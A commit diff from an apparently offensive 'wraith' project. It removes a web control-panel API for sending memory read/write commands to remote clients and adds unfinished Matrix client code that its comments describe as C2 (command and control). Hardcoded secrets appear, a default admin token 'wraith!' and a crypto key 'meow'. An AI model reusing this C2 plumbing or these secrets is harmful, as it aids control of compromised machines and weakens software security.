chore: yeet rest of ui stuff and switch to matrix

This commit is contained in:
0x1a8510f2 2023-06-04 01:25:17 +01:00
parent 0f75782367
commit 58d53eab76
Signed by: 0x1a8510f2
GPG Key ID: 1C692E355D76775D
5 changed files with 129 additions and 227 deletions

View File

@ -1,44 +1,6 @@
package main
import (
"encoding/json"
"fmt"
"io"
"net/http"
"os"
"os/user"
"runtime"
"runtime/debug"
"time"
)
type authRequest struct {
Token string `json:"token"`
Time int64 `json:"time"`
}
type authSuccessResponse struct {
Token string `json:"token"`
Expiry time.Time `json:"expiry"`
Access authStatus `json:"access"`
}
type clientsRequest struct {
Offset int `json:"offset"`
Limit int `json:"limit"`
}
type sendRequest struct {
Target string `json:"target"`
Payload struct {
Read []string `json:"read"`
Write map[string]interface{} `json:"write"`
ListMem bool `json:"listMem"`
} `json:"payload"`
Conditions struct{} `json:"conditions"`
}
func handleClients(r *http.Request, w http.ResponseWriter, s *state) {
/*func handleClients(r *http.Request, w http.ResponseWriter, s *state) {
// Pull necessary information out of the request.
// Get the data from the request body.
reqbody, err := io.ReadAll(r.Body)
@ -102,4 +64,4 @@ func handleAbout(w http.ResponseWriter) {
// Send!
w.Write(data)
}
}*/

View File

@ -1,20 +1,16 @@
package main
import (
"net/url"
"os"
"strconv"
"sync/atomic"
"strings"
"time"
"dev.l1qu1d.net/wraith-labs/wraith-module-pinecomms/internal/proto"
)
const (
DEFAULT_PANEL_LISTEN_ADDR = "127.0.0.1:48080"
DEFAULT_PANEL_ADMIN_TOKEN = "wraith!"
STARTING_ATTEMPTS_UNTIL_LOCKOUT = 5
STATE_CLEANUP_INTERVAL = 30 * time.Second
STATE_CLIENT_EXPIRY_DELAY = proto.HEARTBEAT_MARK_DEAD_DELAY
STATE_REQUEST_EXPIRY_DELAY = 10 * time.Minute
@ -23,14 +19,17 @@ const (
)
type Config struct {
// The address on which the control panel should listen for connections.
panelListenAddr string
// The address of the homeserver to connect to for C2.
homeserver string
// A string which allows administrative access to the panel.
panelAdminToken string
// The username to authenticate to the HS with.
username string
// A string which allows view-only access to the panel.
panelViewToken string
// The password to authenticate to the HS with.
password string
// List of MXIDs with admin privileges over the C2.
admins []string
// Private key to use as identity on the pinecone network.
pineconeId string
@ -52,9 +51,6 @@ type Config struct {
// Whether to use multicast to discover pinecone peers on the local network.
pineconeStaticPeers string
// Not configurable: the amount of failed login attempts until the panel is locked out.
attemptsUntilLockout atomic.Int64
}
func (c *Config) Setup() {
@ -69,9 +65,10 @@ func (c *Config) Setup() {
// Save relevant env to config.
//
c.panelListenAddr = os.Getenv("WMP_PANEL_ADDR")
c.panelAdminToken = os.Getenv("WMP_ADMIN_TOKEN")
c.panelViewToken = os.Getenv("WMP_VIEW_TOKEN")
c.homeserver = os.Getenv("WMP_HOMESERVER")
c.username = os.Getenv("WMP_USERNAME")
c.password = os.Getenv("WMP_PASSWORD")
c.admins = strings.Split(os.Getenv("WMP_ADMINS"), " ")
c.pineconeId = os.Getenv("WMP_ID_PINECONE")
c.logPinecone = logPinecone
c.pineconeInboundTcpAddr = os.Getenv("WMP_INBOUND_TCP_PINECONE")
@ -80,21 +77,16 @@ func (c *Config) Setup() {
c.pineconeUseMulticast = pineconeUseMulticast
c.pineconeStaticPeers = os.Getenv("WMP_STATIC_PEERS_PINECONE")
//
// Set non-env config.
//
c.attemptsUntilLockout.Store(STARTING_ATTEMPTS_UNTIL_LOCKOUT)
//
// Validate config.
//
if c.panelListenAddr == "" {
c.panelListenAddr = DEFAULT_PANEL_LISTEN_ADDR
_, hsParseError := url.ParseRequestURI(c.homeserver)
if hsParseError != nil {
panic("could not parse homeserver url")
}
if c.panelAdminToken == "" {
c.panelAdminToken = DEFAULT_PANEL_ADMIN_TOKEN
if c.username == "" || c.password == "" {
panic("please provide homeserver username and password")
}
}

View File

@ -3,27 +3,24 @@ package main
import (
"context"
"crypto/ed25519"
"embed"
"encoding/hex"
"encoding/json"
"errors"
"fmt"
"io"
"io/fs"
"log"
"net/http"
"os"
"os/signal"
"strings"
"sync"
"syscall"
"time"
"dev.l1qu1d.net/wraith-labs/wraith-module-pinecomms/internal/proto"
"dev.l1qu1d.net/wraith-labs/wraith-module-pinecomms/internal/radio"
"maunium.net/go/mautrix"
"maunium.net/go/mautrix/crypto/cryptohelper"
"maunium.net/go/mautrix/event"
)
//go:embed ui/dist/*
var ui embed.FS
func main() {
//
// Create a struct to hold any config values.
@ -84,151 +81,69 @@ func main() {
// Create a state storage struct.
s := MkState()
// Use pmanager non-pinecone webserver to host web UI and an API to communicate with it.
ui, err := fs.Sub(ui, "ui/dist")
// Start pinecone.
go pr.Start()
// Connect to Matrix homeserver.
client, err := mautrix.NewClient(c.homeserver, "", "")
if err != nil {
panic(err)
}
pr.SetWebserverHandlers([]radio.WebserverHandler{
{
Path: "/X/",
Handler: http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
path := strings.TrimPrefix(r.URL.EscapedPath(), "/X/")
switch path {
case "checkauth":
if !StatusInGroup(AuthStatus(r), AUTH_STATUS_A, AUTH_STATUS_V) {
w.WriteHeader(http.StatusUnauthorized)
return
}
w.WriteHeader(http.StatusNoContent)
case "clients":
// Require auth.
if !StatusInGroup(AuthStatus(r), AUTH_STATUS_A, AUTH_STATUS_V) {
w.WriteHeader(http.StatusUnauthorized)
return
}
handleClients(r, w, s)
case "about":
// Require auth.
if !StatusInGroup(AuthStatus(r), AUTH_STATUS_A, AUTH_STATUS_V) {
w.WriteHeader(http.StatusUnauthorized)
return
}
handleAbout(w)
case "send":
// Require auth as admin.
if !StatusInGroup(AuthStatus(r), AUTH_STATUS_A) {
w.WriteHeader(http.StatusUnauthorized)
return
}
// Get the data from the request body.
reqbody, err := io.ReadAll(r.Body)
if err != nil {
w.WriteHeader(http.StatusInternalServerError)
return
}
// Parse the request body.
reqdata := sendRequest{}
err = json.Unmarshal(reqbody, &reqdata)
if err != nil {
w.WriteHeader(http.StatusBadRequest)
return
}
// Prepare the packet to be sent to client.
req := s.Request(reqdata.Target, proto.PacketReq{
Payload: struct {
Read []string
Write map[string]interface{}
ListMem bool
}{
Read: reqdata.Payload.Read,
Write: reqdata.Payload.Write,
ListMem: reqdata.Payload.ListMem,
},
Conditions: reqdata.Conditions,
})
packetData, err := proto.Marshal(&req, pineconeId)
if err != nil {
w.WriteHeader(http.StatusInternalServerError)
return
}
// Send the packet to client.
pr.Send(context.Background(), proto.Packet{
Peer: reqdata.Target,
Method: http.MethodPost,
Route: proto.ROUTE_REQUEST,
Data: packetData,
})
w.WriteHeader(http.StatusNoContent)
case "auth":
// Make sure we haven't exceeded the limit for failed logins.
if c.attemptsUntilLockout.Load() <= 0 {
w.WriteHeader(http.StatusTeapot)
return
}
// Get the data from the request body.
reqbody, err := io.ReadAll(r.Body)
if err != nil {
w.WriteHeader(http.StatusInternalServerError)
return
}
reqdata := authRequest{}
err = json.Unmarshal(reqbody, &reqdata)
if err != nil {
w.WriteHeader(http.StatusBadRequest)
return
}
// Validate credential.
outtoken, expiry, status, ok := TradeTokens(&c, reqdata)
if !ok {
c.attemptsUntilLockout.Add(-1)
w.WriteHeader(http.StatusUnauthorized)
return
}
// Reset failed attempts counter on successful login.
c.attemptsUntilLockout.Store(STARTING_ATTEMPTS_UNTIL_LOCKOUT)
// Create a response.
response, err := json.Marshal(authSuccessResponse{
Token: string(outtoken),
Expiry: expiry,
Access: status,
})
// Not much we can do.
if err != nil {
w.WriteHeader(http.StatusInternalServerError)
}
// 200.
w.Write(response)
default:
// If someone makes an API call we don't recognise, we're a teapot.
w.WriteHeader(http.StatusTeapot)
}
}),
},
{
Path: "/",
Handler: http.FileServer(http.FS(ui)),
},
syncer := client.Syncer.(*mautrix.DefaultSyncer)
syncer.OnEventType(event.EventMessage, func(source mautrix.EventSource, evt *event.Event) {
//
})
syncer.OnEventType(event.StateMember, func(source mautrix.EventSource, evt *event.Event) {
if evt.GetStateKey() == client.UserID.String() && evt.Content.AsMember().Membership == event.MembershipInvite {
_, err := client.JoinRoomByID(evt.RoomID)
if err == nil {
//
} else {
}
}
})
// Start pinecone.
go pr.Start()
cryptoHelper, err := cryptohelper.NewCryptoHelper(client, []byte("meow"), "file::memory:")
if err != nil {
panic(err)
}
// You can also store the user/device IDs and access token and put them in the client beforehand instead of using LoginAs.
//client.UserID = "..."
//client.DeviceID = "..."
//client.AccessToken = "..."
// You don't need to set a device ID in LoginAs because the crypto helper will set it for you if necessary.
cryptoHelper.LoginAs = &mautrix.ReqLogin{
Type: mautrix.AuthTypePassword,
Identifier: mautrix.UserIdentifier{Type: mautrix.IdentifierTypeUser, User: c.username},
Password: c.password,
}
// If you want to use multiple clients with the same DB, you should set a distinct database account ID for each one.
//cryptoHelper.DBAccountID = ""
err = cryptoHelper.Init()
if err != nil {
panic(err)
}
// Set the client crypto helper in order to automatically encrypt outgoing messages
client.Crypto = cryptoHelper
syncCtx, cancelSync := context.WithCancel(context.Background())
var syncStopWait sync.WaitGroup
syncStopWait.Add(1)
go func() {
err = client.SyncWithContext(syncCtx)
defer syncStopWait.Done()
if err != nil && !errors.Is(err, context.Canceled) {
panic(err)
}
}()
cancelSync()
syncStopWait.Wait()
_ = cryptoHelper.Close()
client.JoinedRooms()
// Start receiving messages.
// Background context is okay because the channel will be closed

13
go.mod
View File

@ -4,25 +4,31 @@ go 1.20
require (
dev.l1qu1d.net/wraith-labs/wraith/wraith v0.0.0-20230412033239-573206620cac
github.com/cristalhq/jwt/v4 v4.0.2
github.com/fxamacker/cbor/v2 v2.4.0
github.com/google/uuid v1.3.0
github.com/gorilla/mux v1.8.0
github.com/gorilla/websocket v1.5.0
github.com/matrix-org/pinecone v0.11.1-0.20230210171230-8c3b24f2649a
maunium.net/go/mautrix v0.15.2
)
require (
github.com/Arceliar/phony v0.0.0-20220903101357-530938a4b13d // indirect
github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572 // indirect
github.com/golang/mock v1.6.0 // indirect
github.com/google/pprof v0.0.0-20230510103437-eeec1cb781c3 // indirect
github.com/google/pprof v0.0.0-20230602150820-91b7bce49751 // indirect
github.com/klauspost/compress v1.16.5 // indirect
github.com/mattn/go-colorable v0.1.13 // indirect
github.com/mattn/go-isatty v0.0.19 // indirect
github.com/onsi/ginkgo/v2 v2.9.7 // indirect
github.com/quic-go/qtls-go1-19 v0.3.2 // indirect
github.com/quic-go/qtls-go1-20 v0.2.2 // indirect
github.com/quic-go/quic-go v0.34.0 // indirect
github.com/rs/zerolog v1.29.1 // indirect
github.com/tidwall/gjson v1.14.4 // indirect
github.com/tidwall/match v1.1.1 // indirect
github.com/tidwall/pretty v1.2.1 // indirect
github.com/tidwall/sjson v1.2.5 // indirect
github.com/x448/float16 v0.8.4 // indirect
go.uber.org/atomic v1.11.0 // indirect
golang.org/x/crypto v0.9.0 // indirect
@ -30,6 +36,7 @@ require (
golang.org/x/mod v0.10.0 // indirect
golang.org/x/net v0.10.0 // indirect
golang.org/x/sys v0.8.0 // indirect
golang.org/x/tools v0.9.2 // indirect
golang.org/x/tools v0.9.3 // indirect
maunium.net/go/maulogger/v2 v2.4.1 // indirect
nhooyr.io/websocket v1.8.7 // indirect
)

44
go.sum
View File

@ -2,8 +2,8 @@ dev.l1qu1d.net/wraith-labs/wraith/wraith v0.0.0-20230412033239-573206620cac h1:j
dev.l1qu1d.net/wraith-labs/wraith/wraith v0.0.0-20230412033239-573206620cac/go.mod h1:dGdo5ZSlCtXuTNFUuuVyyGymHCmLFFSuK1GmNGMOSV8=
github.com/Arceliar/phony v0.0.0-20220903101357-530938a4b13d h1:UK9fsWbWqwIQkMCz1CP+v5pGbsGoWAw6g4AyvMpm1EM=
github.com/Arceliar/phony v0.0.0-20220903101357-530938a4b13d/go.mod h1:BCnxhRf47C/dy/e/D2pmB8NkB3dQVIrkD98b220rx5Q=
github.com/cristalhq/jwt/v4 v4.0.2 h1:g/AD3h0VicDamtlM70GWGElp8kssQEv+5wYd7L9WOhU=
github.com/cristalhq/jwt/v4 v4.0.2/go.mod h1:HnYraSNKDRag1DZP92rYHyrjyQHnVEHPNqesmzs+miQ=
github.com/DATA-DOG/go-sqlmock v1.5.0 h1:Shsta01QNfFxHCfpW6YH2STWB0MudeXXEWMr20OEh60=
github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
@ -29,6 +29,7 @@ github.com/gobwas/pool v0.2.0 h1:QEmUOlnSjWtnpRGHF3SauEiOsy82Cup83Vf2LcMlnc8=
github.com/gobwas/pool v0.2.0/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
github.com/gobwas/ws v1.0.2 h1:CoAavW/wd/kulfZmSIBt6p24n4j7tHgNVCjsfHVNUbo=
github.com/gobwas/ws v1.0.2/go.mod h1:szmBTxLgaFppYjEmNtny/v3w89xOydFnnZMcgRRu/EM=
github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/golang/mock v1.6.0 h1:ErTB+efbowRARo13NNdxyJji2egdxLGQhRaY+DUumQc=
github.com/golang/mock v1.6.0/go.mod h1:p6yTPP+5HYm5mzsMV8JkE6ZKdX+/wYM6Hr+LicevLPs=
github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
@ -37,8 +38,8 @@ github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/google/pprof v0.0.0-20230510103437-eeec1cb781c3 h1:2XF1Vzq06X+inNqgJ9tRnGuw+ZVCB3FazXODD6JE1R8=
github.com/google/pprof v0.0.0-20230510103437-eeec1cb781c3/go.mod h1:79YE0hCXdHag9sBkw2o+N/YnZtTkXi0UT9Nnixa5eYk=
github.com/google/pprof v0.0.0-20230602150820-91b7bce49751 h1:hR7/MlvK23p6+lIw9SN1TigNLn9ZnF3W4SYRKq2gAHs=
github.com/google/pprof v0.0.0-20230602150820-91b7bce49751/go.mod h1:Jh3hGz2jkYak8qXPD19ryItVnUgpgeqzdkY/D0EaeuA=
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/gorilla/mux v1.8.0 h1:i40aqfkR1h2SlN9hojwV5ZA91wcXFOvkdNIeFDP5koI=
@ -55,9 +56,15 @@ github.com/leodido/go-urn v1.2.0 h1:hpXL4XnriNwQ/ABnpepYM/1vCLWNDfUNts8dX3xTG6Y=
github.com/leodido/go-urn v1.2.0/go.mod h1:+8+nEpDfqqsY+g338gtMEUOtuK+4dEMhiQEgxpxOKII=
github.com/matrix-org/pinecone v0.11.1-0.20230210171230-8c3b24f2649a h1:awrPDf9LEFySxTLKYBMCiObelNx/cBuv/wzllvCCH3A=
github.com/matrix-org/pinecone v0.11.1-0.20230210171230-8c3b24f2649a/go.mod h1:HchJX9oKMXaT2xYFs0Ha/6Zs06mxLU8k6F1ODnrGkeQ=
github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4=
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
github.com/mattn/go-isatty v0.0.19 h1:JITubQf0MOLdlGRuRq+jtsDlekdYPia9ZFsB8h/APPA=
github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/mattn/go-sqlite3 v1.14.16 h1:yOQRA0RpS5PFz/oikGwBEqvAWhWg5ufRz4ETLjwpU1Y=
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421 h1:ZqeYNhU3OHLH3mGKHDcjJRFFRrJa6eAM5H+CtDdOsPc=
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742 h1:Esafd1046DLDQ0W1YjYsBW+p8U2u7vzgW2SQVmlNazg=
@ -65,6 +72,7 @@ github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lN
github.com/onsi/ginkgo/v2 v2.9.7 h1:06xGQy5www2oN160RtEZoTvnP2sPhEfePYmCDc2szss=
github.com/onsi/ginkgo/v2 v2.9.7/go.mod h1:cxrmXWykAwTwhQsJOPfdIDiJ+l2RYq7U8hFU+M/1uw0=
github.com/onsi/gomega v1.27.7 h1:fVih9JD6ogIiHUN6ePK7HJidyEDpWGVB5mzM7cWNXoU=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/quic-go/qtls-go1-19 v0.3.2 h1:tFxjCFcTQzK+oMxG6Zcvp4Dq8dx4yD3dDiIiyc86Z5U=
@ -73,13 +81,24 @@ github.com/quic-go/qtls-go1-20 v0.2.2 h1:WLOPx6OY/hxtTxKV1Zrq20FtXtDEkeY00CGQm8G
github.com/quic-go/qtls-go1-20 v0.2.2/go.mod h1:JKtK6mjbAVcUTN/9jZpvLbGxvdWIKS8uT7EiStoU1SM=
github.com/quic-go/quic-go v0.34.0 h1:OvOJ9LFjTySgwOTYUZmNoq0FzVicP8YujpV0kB7m2lU=
github.com/quic-go/quic-go v0.34.0/go.mod h1:+4CVgVppm0FNjpG3UcX8Joi/frKOH7/ciD5yGcwOO1g=
github.com/quic-go/quic-go v0.35.0 h1:JXIf219xJK+4qGeY52rlnrVqeB2AXUAwfLU9JSoWXwg=
github.com/quic-go/quic-go v0.35.0/go.mod h1:+4CVgVppm0FNjpG3UcX8Joi/frKOH7/ciD5yGcwOO1g=
github.com/rs/xid v1.4.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg=
github.com/rs/zerolog v1.29.1 h1:cO+d60CHkknCbvzEWxP0S9K6KqyTjrCNUy1LdQLCGPc=
github.com/rs/zerolog v1.29.1/go.mod h1:Le6ESbR7hc+DP6Lt1THiV8CQSdkkNrd3R0XbEgp3ZBU=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8=
github.com/tidwall/gjson v1.14.2/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
github.com/tidwall/gjson v1.14.4 h1:uo0p8EbA09J7RQaflQ1aBRffTR7xedD2bcIVSYxLnkM=
github.com/tidwall/gjson v1.14.4/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4=
github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
github.com/tidwall/sjson v1.2.5 h1:kLy8mja+1c9jlljvWTlSazM7cKDRfJuR/bOJhcY5NcY=
github.com/tidwall/sjson v1.2.5/go.mod h1:Fvgq9kS/6ociJEDnK0Fk1cpYF4FIW6ZF7LAe+6jwd28=
github.com/ugorji/go v1.1.7 h1:/68gy2h+1mWMrwZFeD1kQialdSzAb432dtpeJ42ovdo=
github.com/ugorji/go v1.1.7/go.mod h1:kZn38zHttfInRq0xu/PH0az30d+z6vm202qpg1oXVMw=
github.com/ugorji/go/codec v1.1.7 h1:2SvQaVZ1ouYrrKKwoSk2pzd4A9evlKJb9oTL+OaLUSs=
@ -111,6 +130,9 @@ golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.8.0 h1:EBmGv8NaZBZTWvrbjNoL6HVt+IVy3QDQpJs7VRIw3tU=
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
@ -123,8 +145,8 @@ golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxb
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.1.1/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
golang.org/x/tools v0.9.2 h1:UXbndbirwCAx6TULftIfie/ygDNCwxEie+IiNP1IcNc=
golang.org/x/tools v0.9.2/go.mod h1:owI94Op576fPu3cIGQeHs3joujW/2Oc6MtlxbF5dfNc=
golang.org/x/tools v0.9.3 h1:Gn1I8+64MsuTb/HpH+LmQtNas23LhUVr3rYZ0eKuaMM=
golang.org/x/tools v0.9.3/go.mod h1:owI94Op576fPu3cIGQeHs3joujW/2Oc6MtlxbF5dfNc=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
@ -136,5 +158,9 @@ gopkg.in/yaml.v2 v2.2.8 h1:obN1ZagJSUGI0Ek/LBmuj4SNLPfIny3KsKFopxRdj10=
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
maunium.net/go/maulogger/v2 v2.4.1 h1:N7zSdd0mZkB2m2JtFUsiGTQQAdP0YeFWT7YMc80yAL8=
maunium.net/go/maulogger/v2 v2.4.1/go.mod h1:omPuYwYBILeVQobz8uO3XC8DIRuEb5rXYlQSuqrbCho=
maunium.net/go/mautrix v0.15.2 h1:fUiVajeoOR92uJoSShHbCvh7uG6lDY4ZO4Mvt90LbjU=
maunium.net/go/mautrix v0.15.2/go.mod h1:h4NwfKqE4YxGTLSgn/gawKzXAb2sF4qx8agL6QEFtGg=
nhooyr.io/websocket v1.8.7 h1:usjR2uOr/zjjkVMy0lW+PPohFok7PCow5sDjLgX4P4g=
nhooyr.io/websocket v1.8.7/go.mod h1:B70DZP8IakI65RVQ51MsWP/8jndNma26DVA/nFSCgW0=